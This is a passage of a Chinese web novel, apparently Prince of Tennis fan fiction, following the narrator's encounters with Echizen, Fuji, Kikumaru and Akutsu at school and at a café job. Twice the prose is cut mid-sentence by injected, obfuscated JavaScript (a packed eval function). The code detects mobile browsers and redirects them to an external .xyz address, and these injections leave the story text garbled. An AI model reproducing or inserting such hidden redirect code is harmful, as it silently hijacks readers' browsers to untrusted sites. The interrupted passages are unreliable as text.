“喵嗷——喵嗷——!” 意想不到的是,这只狸花猫立刻对我弓背炸毛哈气三件套。 没等我走近,它就头也不回地一溜烟跑走,速度之快, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936271|177226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堪比使用幻影移形的咒语。 “难不成这只狸花猫有读心术,知道我一直想抓它去做绝育么……” 我难以理解,主动挑衅的是它,最先跑走的也是它,猫真是一种难伺候的生物。 还是说,这只狸花猫格外难伺候? 摇了摇头,我正准备继续往校门的方向走,抬头看见不远处站着一个男生。 墨绿色的短发,眼尾微微上挑的琥珀色眼睛,清俊淡漠的面庞,右肩背着一个半人高的网球袋。 不是。 我确实不介意天天偶遇帅哥。 但为什么我天天偶遇的老是打网球的帅哥? 就没有打桌球打棒球打篮球打排球打橄榄球打躲避球的帅哥让我偶遇一下吗? 我假装没有看见,沿着樱花道径直往前走,经过墨绿发男生身侧时,突然听到他问: “Do you know how to get to the school gate?” (你知道怎么去校门么?) 这是一句口音很地道的美式英语,我条件反射地回答:“Just walk along this sidewalk.” (沿着这条路走就行了。) 墨绿发男生说话的语气,比我今早喝的那盒牛奶包装上“大自然牧场风味”还要自然。 我差点都没意识到有什么不对劲。 等等,这里明明是日本中学校,为什么他要用英语问路? 如果我没记错的话,那天在电车上,他的日语分明也很流畅啊。 至少怼人的功力不在我之下。 墨绿发男生:“Thanks。”(谢谢。) 我:“You are wee。”(不用谢。) 我的回答无疑非常符合全世界小学生英语课本的标准对话。 墨绿发男生却单手插兜,慢条斯理地重复了一遍我的回答: “You are wee?” 这句话不仅礼貌又客气,还通俗易懂,不存在任何问题。 道理是这样的道理,看在墨绿发男生长得帅的面子上,我准备询问他这句话有什么问题。 墨绿发男生又说:“我见过你。” 是日语。 不是疑问句,是陈述句。 我点头回答:“你记性真好,我们之前在电车上碰到过。” 我是百分百的实话实说,也不觉得自己说错了话。 墨绿发男生却不答话,琥珀色的眼睛一个劲儿地盯着我,好像我说错了话似的。 也许是看我一副坚持自我的死鱼眼表情,墨绿发男生不再继续这个话题,“你记性也不差。” 接着,他话锋一转:“那你刚才为什么假装不认识我?” 这个问题其实可以分情况讨论。 比如,高情商的说法是,我和墨绿发男生只见过一面,我认为对方大概率不记得我。 低情商的说法是,我和墨绿发男生只见过一面,我认为顶多算是有过一面之缘的陌生人,没有必要叙旧,何况对方还是个打网球的。 我如实说明:“呃,因为我确实不认识你?” 仅仅是见过一面的程度,也不能算认识吧? 墨绿发男生停顿了下,抬起手,感觉像是要压一压帽檐,手抬到一半,可能意识到自己没有戴棒球帽,又放了回去。 注意到这种细微的动作变化,我不动声色地抬起视线,发现他稍微不自然地轻轻抿了抿嘴。 “越前龙马。” 听到墨绿发男生、现在应该称呼为越前君,这样说道,我正要礼尚往来地自报姓名。 不管是从身高还是从身高来看,越前君都是刚入学的一年级新生,我身为学姐也不能在学弟面前拿乔摆架子。 越前君却微微抬起下巴,目光炯炯地看着我,说道:“这样就算认识了吧?” “天野前辈。” 8. 第八局 新学年我所在的班级是三年六组,担任老师是全校最受欢迎的国文女老师,长相甜美,待人亲切,关键是教学能力非常出色。 顺带一提,周助和我理所当然地被分到了同一个班级。 “话说,这是不二和天野连续第三年在同一个班了吧?” “我好像也没听说,咱们学校已经人性化到这种地步,特地把幼驯染分到一个班nya~?” 说话的暗红色头发少年,自然卷的发梢向两侧翘起,右脸颊贴着一块OK绷,像是一只活泼开朗的热情大猫。 是新学年和我们同班的菊丸英二。 就算我不用介绍,想必大家也能轻而易举地猜到,菊丸君是和周助同为网球部的正选队员。 别问,问就是习惯了。 我坐在教室中间后排的位置,周助是我邻桌,更靠近窗户一侧。 菊丸君是周助前桌,也就是我斜前方的座位。 感谢三年级教室在教学楼高层,只要不特意站在窗边,从我座位把脖子伸长二里地,也绝对不会看到紧挨着教学楼的网球场。 搞不明白为什么要把网球场建在教学楼旁边,也不怕哪天网球飞进来,随机把一名霉运同学砸去异世界。 到时候连卡车司机都要失业了。 听到菊丸君意有所指的调侃,周助笑着回答:“应该是巧合吧。” 菊丸君露出一个“那~还~真~是~巧~哦~”的揶揄笑容,“我懂的,都是巧合,就连座位抽签抽到邻桌也是巧合……” 周助微笑不改,“嗯?英二的意思是,想和空纯坐邻桌吗?” 菊丸君揶揄的笑容僵在脸上,吓得飞快看了我一眼,结结巴巴说:“不二,哪、哪有你这么开玩笑的!” 周助叹了口气,半真半假地说:“哎,真是让人失落呢,我还以为英二更想和我坐邻桌。” 菊丸君无语地瘪起嘴,受不了周助比大河剧还要节奏紧凑的挖坑,“好啦,我们不是前后桌么,和邻桌也差不多了。” 千万不要试图调侃/调戏周助,因为周助随时都会调侃/调戏回去。 深谙腹黑小熊超强反击力的我面不改色地翻着手里的闲书。 “不二、菊丸,听说你们网球部来了个不得了的新生,是真的吗?” 正值课间休息,有其他熟悉的同学过来向周助和菊丸君搭话。 向来心直爽快的菊丸君没有率先开口,倒是周助回答说:“是啊,是个很厉害的一年生。” 周助说话的时候,菊丸君假装不经意地偷偷看了我一眼,我也假装没有注意到。 同学说:“我听说前两天,那个新生拿了把破破烂烂的球拍,把二年级的荒井差点打趴下了?” “真是笑死我了,荒井那家伙就爱出风头,结果这次反倒被刚入学的新生把风头抢没了!” 周助用手指摩挲着下巴,“荒井被打得毫无招架之力啊,如果我上场的话,说不定也会输得很惨呢。” 同学只当周助是在说玩笑话,笑得眼泪都要飙出来了,“不二你也太抬举那个新生了吧,真有那么厉害?” 周助却笑眯眯地说:“谁知道呢。” 我倒是有些意外。 周助能说出这样的话,说明他对那个“很厉害的一年生”相当看好。 听周助模棱两可的语气,他也很期待和对方过招。 上一个让周助这么感兴趣的人还是。 算了。 都是些陈芝麻烂谷子的事情,我早就忘记了。 “那个新生叫什么来着?好像说是‘越左’?‘越右’?还是‘越后’?” “越前,越前龙马。” 我翻书的动作稍微顿了下,继续把当前看完的一页翻过去。 好了,我都说我习惯了。 随便在电车上碰到的帅哥就是同校的新生学弟,还是网球部备受瞩目的怪物新人什么的。 这种稀松平常的事情,难道你们都没有遇到过吗? 没有遇到的都反思一下自己,平时是不是出门必看黄历。 再说,越前君就差把“谁也不惯着”挂在脸上,哪怕对方是高中生都不带犯怵的。 对于爱出风头、喜欢摆架子的二年级学长,他就更不可能留情面了。 实在抑制不住好奇心,菊丸君悄咪咪地问周助:“不二,你说下周的校内排名赛,手冢会允许那个小不点参加吗?” 所谓的“校内排名赛”,是青学网球部一项传统内部选拔赛事。 具体指每月举行一次,由二三年级全体部员参加,决出八名正选队员的淘汰赛。 一般来说,刚入部的新生到暑期集训前只能做基础练习,没有资格参加比赛。 周助说了跟没说一样,“不知道,等下周赛程表出来再看吧。” 菊丸君撇撇嘴,“嘁,不二你跟手冢关系好得能穿一条裤子,你问手冢,手冢肯定告诉你。” 当着我这个周助唯一指定官方幼驯染的面,竟然说周助和其他人关系好得能穿一条裤子,我很难不有种不服气的感觉。 可惜的是,我拼尽全力也无法反驳,从小到大我确实没有和周助穿一条裤子的经历。 不过,小时候我拉着周助玩超真实扮家家酒,说什么都要让周助穿上我衣柜里的新裙子。 周助扮演长得像奥黛丽·赫本的童模女儿,我扮演背负三十二年贷款即将失业的单亲爸爸。 当时裕太君在睡午觉,给他预留的角色是隔壁喜欢八卦,但该出手时就出手的热心婶婶。 周助没有回答菊丸君,转而问我:“空纯,中午你是吃便当还是去食堂?” 我说:“我带了便当。” 周助点头,“那中午我们就在教室吃便当好了。” 菊丸君不敢置信周助就这样光明正大地无视他,“不二,我就在你面前,你都不问我吃便当还是去食堂吗?” 周助疑惑地问:“早训的时候,英二不是还提到过,今天的便当有喜欢的炸肉丸吗?” 菊丸君被周助的绝赞记忆力堵得哑口无言。 昼休时,菊丸君没有和我们一起吃便当。 我猜菊丸君是带着便当去找他的黄金搭档控诉周助去了。 我的便当是家政阿姨均衡搭配的营养餐,周助的便当是由美子姐姐早起特意做的创意菜。 由美子姐姐亲手做的可乐饼看上去就色香味俱全,还是用空气炸锅炸的,四舍五入相当于没有热量。 周助说:“由美子姐姐托我问空纯你,以后她帮你准备便当怎么样?” “自从裕太转校去寄宿学校后,她早起只做一人份的便当,总觉得有点划不来。” 我大喜过望,仿佛自己是杯优〇美被由美子姐姐捧在手心,“由美子姐姐太好了,我晚上一定给她打电话道谢。” “我公寓里请了家政阿姨,不用麻烦由美子姐姐,每天早起准备便当很辛苦的。” 周助把其中一块可乐饼夹到我的便当盒里,“等哪天不用早训,我也来久违地准备便当好了。” 我当即义正辞严地表示:“请务必带上我的那份。” 下午课程结束后,周助和菊丸君去网球部训练,我秉持着归宅部“各回各家”活动宗旨准备回公寓。 我们一同离开教室,菊丸君兴致勃勃地讲起他最喜欢的美少女组合,最近登上一本超人气杂志封面。 “那本杂志好像在女生中特别受欢迎,我二姐每期必买,是个英文名字,叫E什么……” “《EIGHTEEN》。” “对,就是这个名字!” 我说:“《EIGHTEEN》是由著名杂志社发行的时尚杂志,创刊至今已有五十余年,内容涵盖服饰、美妆、偶像等领域,汇集国内当前最流行的潮流动态。” “核心受众为青少年群体,尤其是十几岁的青春少女至二十岁出头的年轻女性, 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兴奋劲儿过去后,菊丸君一副想要问我什么又不好意思问出口的表情,我于是问:“菊丸君?” 菊丸君忙不迭地说:“没想到天野你对时尚杂志这么了解,完全看不出来……” 我:“啊?” 菊丸君挠了挠后脑勺,“怎么说呢,感觉天野你这样的优等生,完全不会对这些东西感兴趣。” “我以前一直以为你是那种两耳不闻窗外事,整天抱着别人看不懂的书钻研的人,老实说第一次看到你在网球场……” 似乎意识到自己脱口而出不该提及的话题,菊丸君此地无银三百两地双手捂住嘴巴。 被菊丸君一目了然的“完蛋完蛋我竟然在天野面前提到网球我又不是不二我不会被拉进黑名单吧那种事不要哇啊啊”夸张反应逗笑,我反问道: “菊丸君,我看起来像是那种整天板着脸,连老师会被吓得冒冷汗,除了念书没有其他兴趣爱好的呆子吗?” 菊丸君还没来得及回答,我们身后传来一道男声: “英二,不二,你们也要去网球场吗?” 这个声音的主人显然是菊丸君的黄金搭档,大石秀一郎。 可能是我稍微站在周助前面,有周助和菊丸君的身形阻挡,大石君没有看到我。 大石君是网球部副部长,大多数时候性格温厚沉稳,做事踏实认真,留着比裕太君的发型还要考验颜值的鸡蛋头。 根据不负责任的小道消息,大石君是故意留这种一言难尽的发型,避免太受异性欢迎,影响专心打网球。 我就说网球祸害帅哥吧。 菊丸君一开始知道竟然是这么个凡尔赛的理由,还大叫着扑向大石君: “我跟你们这群长得帅的拼了!” 别被菊丸君的话糊弄过去了。 菊丸君也是个深受男女老少全年龄向欢迎的帅哥。 “啊,大石,手冢……” 后面几人聊什么我就不知道了。 因为我已经和周助说“明天见”,然后头也不回地先走一步。 我还要赶回公寓换衣服,兼职第一天就迟到,这种事我做不到啊。 咖啡店在临街位置,是一栋淡紫色的欧式两层小楼,正门前还有精心布置的长方形花坛。 后门位于两栋楼之间的里巷,旁边放着几个垃圾桶,因为每天都会清理,地面看上去很干净。 我刚走到巷口,就看到垃圾桶对面,站着一个穿白色蓝边学生制服的少年。 染着一头少走七十年弯路的灰白头发,刘海鬓角全部梳上去,一双下三白眼不好惹地斜挑着,连鬼都要担心走夜路被他踹一脚。 他背倚着墙,不知道是心情糟糕还是天生恶相,整张脸毫无表情,右手食指和中指夹着一根点燃的烟。 9.第九局 在日本这个黑〇合法化的神奇国家,不良少年当然算不上什么新鲜产物。 据说,以前的不良少年各个剑指早稻田,干起架来从不临阵脱逃,以一敌多也是常有的事。 唉,大概是因为经济下行,连不良少年的准入门槛都下降了。 我不是没见过顶着彩虹鸡窝头,像个石墩子蹲在路边,装大人吞云吐雾的不良少年。 但是,敢在公共场合,穿学生制服,摆一张“不怕死就过来”的扑克脸,旁若无人吸烟的不良少年,我确实还是头一次见。 其实也没有见的必要。 通常情况下,我看到不良少年有多远躲多远,惹不起我还躲不起吗? 偏偏我得从后门进咖啡店,势必要经过这个连同行都要退避三舍的不良少年。 我原本打算当自己不存在地走过去,心里总有点不踏实。 万一对方随手丢烟头,烟头没熄灭掉进垃圾桶,把垃圾点燃了怎么办? 短短数秒,我思考了无数登上明早社会新闻头版头条的可怕结果。 最后还是决定,冒着被丢进濑户内海喂鲨鱼的危险,做一名热心路人。 我站在距离少年数米远处,相对来说比较安全的位置。 意思是,就算对方二话不说拽起我的衣领把我扔墙上,我也能在对方二话不说前跑得没影。 俗话说,伸手不打笑脸人。 我对少年礼貌微笑说:“不好意思打扰了,麻烦你待会儿把烟头熄了,再丢进垃圾桶,谨防失火,谢谢。” 一番话说完,少年别说回应,眼皮都没抬一下。 我也不觉得尴尬,至少对方没有立即动手,或者吸一口烟故意吐我脸上。 被少年赤裸裸地无视,我反倒心情轻松。 至少我主动提醒过对方,作为一名热心路人,我已经超额完成任务了。 大不了待会儿我多出来几趟观察垃圾桶的安全情况。 我继续执行当自己不存在的计划,径直走向咖啡店后门。 凌厉的拳风骤然袭来。 一瞬间,我站定脚步,能轻易将人鼻梁打断的拳头堪堪停在我鼻尖前。 我扭头对上少年野兽般的金色瞳仁。 “不要命令我——” “阿仁!” 咖啡店后门被“唰”的一下打开。 与少年同时开口的棕色短发美女跑过来,毫不留情地伸手打掉少年的手臂。 短发美女从外表看不超过二十岁,额前刘海用一字夹别住,露出一张美丽妩媚的脸庞。 即使围着一件宽大围裙,也掩盖不住叫人嘶哈嘶哈的好身材。 见到救世主降临,我忙不迭地躲到短发美女身后,委屈巴巴地说:“优纪姐!” 这是和我同在咖啡店做兼职的优纪姐,全名亚久津优纪。 当初也是优纪姐推荐我来这家咖啡店做兼职。 不仅事少钱多离公寓近,招牌栗子蒙布朗更是东京第一美味,还能享受店员特惠价。 优纪姐赶紧把我护在身后,气势汹汹地教训刚才用拳头威胁我的少年: “阿仁,你以后再敢吓唬小纯,我就要回去打你屁股了!” 我:“……” 我:“噗。” 我一时没来得及管住嘴,少年阴森森地看向我,眯了眯那双凶神恶煞的下三白眼。 对方的眼神过分凶残,好像我听见了什么不该听的话,要把我扔进濑户内海喂鲨鱼。 我假装没看到少年恐吓的眼神,只是一味地双手抱住优纪姐的腰,顺便把脑袋埋进优纪姐的后背。 真是太可怕了,弱小可怜又无助的我只能再抱紧优纪姐亿点了。 这个被优纪姐亲切称呼“阿仁”的少年。 虽然优纪姐没有明说,我猜应该是优纪姐的弟弟。 不要误会,是亲弟弟的那种弟弟。 对方的全名叫亚久津仁。 虽然个头远超日本成年男性平均身高,不包含发型至少也有一百八十公分。 实际年龄和我差不多大,同样是中三生。 优纪姐瞪着亚久津君,气不打一出来,“阿仁,你怎么又在抽烟?” “我不是跟你说过,抽烟对身体不好吗?小心肺变成丝瓜了!” “老太婆,吵死了。” 亚久津君一副不耐烦的语气,好像再待下去恨不得一拳把墙捶出个洞来。 他将没燃尽的烟头摁灭在墙砖上,随手扔进垃圾桶,往巷口的方向走。 不愧是优纪姐,一句话就能让亚久津君把烟头摁灭了扔进垃圾桶。 优纪姐嘟囔了句“真是的这孩子管谁叫老太婆”,扬声对走远的亚久津君说: “我下班后回家做晚饭,阿仁你记得去超市买菜哦!” “玉米要买甜玉米,不要买糯玉米!” 不愧是优纪姐,能够如此自然地使唤亚久津君去超市买菜。 最重要的是,认为他分得清甜玉米和糯玉米。 不知道亚久津君听没听见,他从头到尾没一句回应。 优纪姐却没有再嘱咐,应该是笃定亚久津君一定会乖乖去超市买甜玉米。 “小纯,真是对不起,你没有受伤吧?” 优纪姐双手温柔地捧住我的脸,仔仔细细检查我有没有哪里受伤。 “阿仁竟然那么粗鲁,我回家一定要用新买的瑜伽棒抽他!” 我赶紧阻止优纪姐危险的念头,“优纪姐,这个方法会不会不太好?” “毕竟是新买的瑜伽棒,别给抽坏了。” 优纪姐眨眨眼睛,像是才想到这种可能性,“小纯说的对,我还是用旧的瑜伽棒抽好了!” 我“嗯嗯”点头,优纪姐笑着摸了摸我的发顶,“哎呀,小纯真可爱。” 被优纪姐摸头的感觉,就像是在哈着冷气的冬天喝了一杯热乎乎的卡布奇诺,我享受地眯着眼睛说道: “谢谢优纪姐,听到优纪姐这句话,我腰不痛了腿不酸了连跳楼、不是,连跑箱根驿传都有劲儿了。” 虽然是金曜日下午,店里的客人四舍五入等于没有。 穿着一丝不苟的衬衫马甲西装裤的店长正在前台擦拭玻璃杯,我跟着优纪姐在后厨学习制作巧克力布朗尼。 临近晚饭时间,门口风铃声响起,终于有客人光临。 是两个中学生模样的女生和男生。 女生留着明媚秀丽的橘色短发,额头两侧的头发用桃心发夹别起,娇俏可爱的长相,一看就知道是非常受欢迎的类型。 男生偏长的斜刘海遮住左边眼睛,稍微有点非主流的发型,看得出是个清秀帅哥。 两人都穿着学生制服,胸前校徽上有“不动峰中学”的字样。 我将两份菜单分别放在橘发女生和斜刘海男生面前。 斜刘海男生顾不上翻菜单,迫不及待地问橘发女生想吃什么。 橘发女生道谢时抬头看了我一眼,低头翻开菜单,又突然抬起头,靛蓝色眼睛一眨不眨地看着我。 我介绍道:“今日份推荐甜品,是由法芙娜巧克力新鲜制作的巧克力布朗尼。” 斜刘海男生的目光全程就没有离开过橘发女生,“小杏,你想吃巧克力布朗尼么?” “今天难得提前结束训练,我请你吃好吃的!” 橘发女生停顿了下,点头回答:“那就吃巧克力布朗尼好了,饮料的话……你有什么推荐吗?” 后半句话橘发女生应该是在问我。 我于是说:“我个人推荐海盐樱花气泡茶,搭配巧克力布朗尼清爽解腻。” 说完,橘发女生对我扬起甜美的微笑,眼睛弯弯,像是一只活泼灵动的梅花鹿。 “好,谢谢你,我要巧克力布朗尼和海盐樱花气泡茶。” 斜刘海男生无疑被橘发女生的笑容直击心脏,连忙说:“我跟小杏一样!” 橘发女生转过头,笑着对斜刘海男生说:“神尾,你不想和我交换吃不一样的吗?” 斜刘海男生顿时脸红到耳根,“那那那我要其他的……” 真可爱啊。 难怪斜刘海男生一副早就跳进爱河的样子。 连初次见到橘发女生的我,都不禁有种飘飘然的心情。 将橘发女生和斜刘海男生的餐品送过去后,我的兼职时间也结束了。 我向店长和优纪姐道别,店长递给我一份打包好的巧克力布朗尼,说是兼职第一天的礼物。 我连连道谢,嘴上说着真是不好意思,双手没有半点推辞地接过打包盒。 没办法,谁能拒绝一份美味又免费的巧克力布朗尼呢? 我用西班牙语哼着中文经典歌曲“今天是个好日子~心想的事儿都能成~”,美滋滋地拎着巧克力布朗尼回公寓。 在路口等交通信号灯的时候,收到周助发来的消息。 Fuji:【有遇到问路的吗?】 我严重怀疑,此“问路”非彼“问路”。 Amano:【嗯?问什么?什么路?】 Amano:【我也想问问通往幸福的康庄大路到底在哪里啊。】 Amano:【暗中“比”视这个邪恶世界.JPG】 不等周助回复,我又兴致冲冲地敲键盘。 Amano:【咦你怎么知道我有免费美味的巧克力布朗尼?】 我举起手里的打包盒,对准透明PVC那面,用手机“咔嚓”一声。 Amano:【照片】 Amano:【看在你是我唯一官方指定幼驯染的面子上,给你赛博吃一口,不用太感谢我。一般感谢就行。】 Amano:【谁说这小比坏呀,这小比可太棒了.JPG】 Fuji:【看起来很诱人。】 Fuji:【不过,只是这种程度的话,对我来说还不够。】 我是不折不扣的甜党,挨不了一点辣椒,周助恰好相反,是个资深辣党。 准确地说,周助是能够面不改色吃完一整条芥末寿司的天选之子。 旁边看着的人都被辣得表情扭曲,他还能笑眯眯地说再来一份。 巧克力布朗尼在我看来是绝顶美味,对周助来说应该属于“可吃可不吃”的范畴? Amano:【你在家吗?】 Amano:【我现在准备回公寓,刚好顺路过去,分一半给你。】 Amano:【家政阿姨已经准备好晚饭了,吃完饭再吃一整块蛋糕还是很有罪恶感的。】 Amano:【说起来,前些天你给我买的甜甜圈,我吃了好久!】 Amano:【我以为你顶多买两三个,没想到你买了一整盒……一整盒……】 Amano:【然后小比就吃了个爽.JPG】 Fuji:【空纯太瘦了,要多吃点才行。】 Fuji;【不用。】 Amano:【但是甜甜圈吃多了容易得高血糖脂肪肝冠心病。】 Amano:【啊?】 Fuji:【你转身。】 我还有点没反应过来,只是看到回复下意识地转过身。 人头攒动的街道,栗发少年带着柔和的微笑,穿过人群向我走来。 像是纯爱漫画的特写分镜,四周变成模糊的背景色,只有少年温柔俊秀的面庞成为视线唯一的焦点。 眼前这幅画面,曾经有很多次幻想在我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15945645|177226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑海。 多年前在纽约,我独自站在异国他乡的街头,周围全是形形色色的陌生脸孔。 盛夏阳光晒得人头晕目眩,我却感到浑身发冷,仿佛只身被丢进冰天雪地。 那个时候,我在想,要是周助突然出现在我面前就好了。 就像小时候,我擅自离家出走——严格意义上来说,也不能算是“离家出走”。 我母亲和父亲工作都很忙,两人常常是深夜才能到家,我从补习学校回来也是一个人。 那天家政阿姨准备完晚饭离开,我咬着鲜香软弹的鸡蛋卷,觉得胸口有点闷闷的。 我先是站起来,端着汤碗吃顺滑柔嫩的汤豆腐,闷闷的。 接着跑去二楼阳台,端着盘子吃炒得“chui chui”的小青菜,闷闷的。 最后干脆站到大门口,端着碟子吃外酥里嫩的炸藕圆子,还是闷闷的。 我三两口扒拉完香喷喷的米饭,放下碗,决定去附近的小公园呼吸新鲜空气。 顺便散步消食。 嗝。 天色已经暗了下来,往常这个时间我都会窝在房间角落看书。 去小公园的路上,我偶然看见一幢废弃大楼正在施工,鬼机一动。 到高一点的地方吹会儿冷风,胸口也许就不会那么闷了? 拥有超强行动力的我穿过防护栏,一路爬上顶楼天台,学着老僧打坐的姿势,盘腿坐在水箱上。 风吹得我胃里还没消化完的藕圆子都要凉透了。 我安静地望着远处漫无边际的漆黑夜空,还有灯光闪烁的楼房和街道。 胸口闷闷的感觉逐渐消失,我眼皮也慢慢有点睁不开。 大概是因为刚吃完晚饭,又一口气爬到顶楼,难免有些犯困。 我不知不觉睡了过去,等我隐约听到有谁在叫我的名字,迷迷糊糊睁开眼。 视野里只剩下灰蒙蒙的月光,我坐起身,往声音的来源看去,一束手电筒的光线照在我身上。 我用手臂挡住脸,出声询问:“是周助吗?” 迟迟没有听到回应,照在我身上的光线却稍微偏移了些。 我撤开手臂,对上周助那双紧紧盯着我的冰蓝色眼眸。 他脸上少见的没有任何笑意,栗色短发也有点乱糟糟的,身上还穿着家居服。 仔细观察,他耳边的几缕头发半湿着,像是洗完澡没有用吹风机,被自然风吹成这副样子。 意识到现在时间很晚,搞不好父亲和母亲都已经回家,发现我不在家急得到处找我。 我赶紧顺着挂在水箱旁的梯子爬下去,准备向周助解释我是不小心睡着了。 周助却仿佛知道我在想什么,率先说道:“我出门的时候,阿姨和叔叔都还没有回来。” 我稍微松了一口气,本来父亲和母亲就常常因为我一个人在家的事情吵架。 要是被他们知道,我竟然这么晚还待在外面,恐怕就不只是大吵一架了。 我对周助说:“对不起,让周助你担心了。我是想着来天台吹吹风,一不小心就睡着了。” 周助没有说话。 我心里打鼓,又说:“我下次不敢了……我的意思是,绝对没有下次了。” 周助依然没有说话。 我只好硬着头皮,继续说:“我以后绝对不一个人晚上出门,也绝对不来这种偏僻危险的地方……” 最后一个“い”字还没说完,周助冷不防地抬起手,弹了我一个脑瓜崩。 我呆呆地看着周助。 其实周助没有使力,我也没感觉到疼。 有点象征性惩罚的意味。 周助无奈地抿起嘴,轻声说:“你啊。” 我一时不知道该说什么,也说不出来什么。 额头隐隐发烫,带着细微的疼痛,我别过脸去,好一会儿才转回来。 我发现周助的脸颊蹭到一点灰尘,定了定神,准备用还算比较干净的指关节帮他擦掉。 周助却不由分说地握住我抬起的手。 当时我和周助虽然年纪还小,但并不是不懂得“牵手”代表的意义。 周助说:“楼道没有灯,我牵着你走。” 我点头答好。 回家的路上,我问周助,是怎么发现我不在家的。 周助说,平时他半夜醒来,还能看到我房间的灯是亮着的。 今天他洗完澡,我房间却一直没有灯亮起,给我家里打电话也没有人接。 我家和周助家是邻居,我和周助的房间都在二楼,窗户对着窗户。 我心想,我半夜偷偷看书都只开小灯,这也能被周助发现么? 我又问周助:“那你是怎么找到我的?” 周助:“秘密。” 我:“就算是秘密也要告诉我啊。” 或许是深知我打破沙锅问到底的个性,又或许是我真挚诚恳的眼神过分有存在感。 周助转头看向我,脸上终于重新浮现出我熟悉的微笑。 “我总能找到空纯的。” 那个时候,身在纽约的我总是不自觉地想起,从前在东京时周助对我说的这句话。 那个时候,我还以为再也见不到周助了。 “空纯?” 周助走到我面前,我回过神来,一本正经地问:“你是来问路的吗?” 说着,我随手指向远处人流密集的地方,“那边人多……” 周助还是那副笑眯眯的表情,好整以暇地说:“可是,我只想问空纯一个人。” 我猝不及防地被噎住。 这就是无法战胜的天才型选手吗? 周助不仅真有一套,还真有一套又一套啊。